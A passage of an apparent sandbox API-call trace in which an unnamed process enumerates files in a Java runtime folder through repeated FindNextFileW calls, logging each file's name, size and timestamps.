ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0094.672] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0094.672] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0094.672] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0094.672] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0094.672] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0094.673] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0094.673] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0094.673] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0094.673] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0094.673] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0094.673] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0094.673] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0094.674] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0094.674] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0094.674] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="java.dll", cAlternateFileName="")) returned 1 [0094.674] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="java.exe", cAlternateFileName="")) returned 1 [0094.674] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0094.674] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1 [0094.674] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0094.675] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0094.675] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0094.675] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1 [0094.675] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0094.675] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0094.675] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0094.675] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0094.676] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0094.680] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0094.680] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0094.680] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0094.680] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0094.680] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jjs.exe", cAlternateFileName="")) returned 1 [0094.680] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0094.680] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0094.681] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0094.681] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0094.681] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0094.681] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0094.681] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0094.681] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0094.681] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0094.682] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0094.682] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0094.682] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0094.682] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0094.682] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, 